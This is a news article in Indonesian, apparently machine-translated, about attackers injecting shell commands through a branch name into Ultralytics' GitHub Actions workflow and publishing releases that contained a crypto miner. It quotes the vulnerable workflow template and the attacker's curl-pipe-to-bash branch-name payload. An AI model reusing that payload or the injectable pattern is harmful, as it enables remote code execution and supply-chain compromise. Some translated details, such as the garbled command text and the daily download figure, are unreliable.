Bug di pengendali Tindakan GitHub menyebabkan publikasi rilis Ultralytics yang berbahaya

Para penyerang dapat mengeksekusi kode dengan hak pengendali GitHub Actions di repositori perpustakaan Ultralytics Python, yang digunakan untuk memecahkan masalah visi komputer seperti mendeteksi objek dalam gambar dan mengelompokkan gambar. Setelah mendapatkan akses ke repositori, penyerang menerbitkan beberapa rilis Ultralytics baru di direktori PyPI, yang menyertakan perubahan berbahaya untuk penambangan mata uang kripto. Selama sebulan terakhir, perpustakaan Ultralytics telah diunduh dari katalog PyPI lebih dari 6.4 juta kali.

Untuk menyusupi repositori, kerentanan digunakan dalam paket ultralytics-actions, yang digunakan untuk meluncurkan penangan secara otomatis ketika tindakan tertentu dilakukan pada repositori di GitHub menggunakan mekanisme GitHub Actions. Dalam proyek ultralytics, pengendali yang rentan terikat pada peristiwa pull_request_target dan dipanggil ketika permintaan penarikan baru tiba. Khususnya, untuk memformat kode dalam permintaan tarik yang dikirim, handler format.yml dipanggil dan kode yang ditentukan di bagian "jalankan" dari file action.yml dieksekusi, yang berisi perintah shell dengan pola substitusi: git pull origin ${{ github.head_ref || github.ref }} git config --global user.name "${{ inputs.github_username }}" git config --global user.email "${{ inputs.github_email }}"

Dengan demikian, nama cabang Git yang disebutkan dalam permintaan tarik diganti menjadi perintah shell tanpa pelolosan yang tepat. Patut dicatat bahwa pada bulan Agustus, paket ultralytics-actions telah memperbaiki kerentanan serupa yang terkait dengan penggunaan nilai eksternal dalam fungsi echo: echo “github.event.pull_request.head.ref: ${{ github.event.pull_request .head.ref }} »

Untuk mengatur eksekusi kode mereka dalam konteks pengendali Tindakan GitHub, penyerang mengirimkan permintaan tarik ke repositori ultralytics, dengan menentukan yang berikut ini sebagai nama cabang: openimbot:$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545/file.sh}${IFS}|${IFS}bash)

Oleh karena itu, ketika permintaan penarikan diterima, string “$(…)” yang ditentukan penyerang dimasukkan ke dalam kode, yang, ketika pengendali kemudian diluncurkan, menyebabkan eksekusi kode “curl -sSfL raw.githubusercontent. com/…/file.sh | pesta".

 Bug di pengendali Tindakan GitHub menyebabkan publikasi rilis Ultralytics yang berbahaya

Menjalankan kode dalam konteks Tindakan GitHub dapat digunakan untuk menangkap token akses repositori dan data sensitif lainnya. Bagaimana tepatnya penyerang berhasil menghasilkan rilis, memiliki kemampuan untuk mengeksekusi kode mereka di GitHub Actions, masih belum jelas, diasumsikan bahwa hal ini dimungkinkan karena perubahan pada handler publikasikan.yml (penyerang menghapus verifikasi akun yang diizinkan untuk mempublikasikan rilis di PyPI) dan penggunaan teknologi yang meracuni cache build GitHub Actions untuk memasukkan data Anda ke dalam rilis.

Rilis berbahaya pertama Ultralytics 8.3.41 dipublikasikan oleh penyerang di PyPI pada tanggal 4 Desember pukul 23:51 (MSK) dan dihapus pada pukul 12:15 keesokan harinya. Pada pukul 15:47, rilis lain, 8.3.42, diposting dan dihapus pada pukul 16:47. Dengan demikian, versi berbahaya tersebut tersedia untuk diunduh selama total sekitar 13 jam (PyPI mencatat sekitar 250 unduhan pustaka ultralytics per hari). Rilis 8.3.41 dan 8.3.42 berisi kode yang diunduh dari sumber eksternal. server Komponen XMRig untuk penambangan mata uang kripto.

Pengembang proyek memperbaiki masalah dan membuat rilis korektif 8.3.43 dan 8.3.44, tetapi dua hari kemudian serangan lain dilakukan, di mana penyerang menerbitkan dua rilis berbahaya tambahan hari ini pada 04:41 dan 05:27 (MSK) - 8.3.45 dan 8.3.46, yang mencakup kode penambangan lainnya. Hingga penyelidikan berakhir, pengguna disarankan untuk menunda pemasangan versi baru dan memperbaiki rilis 8.3.44 sebagai dependensi.

Sumber: opennet.ru

Tambah komentar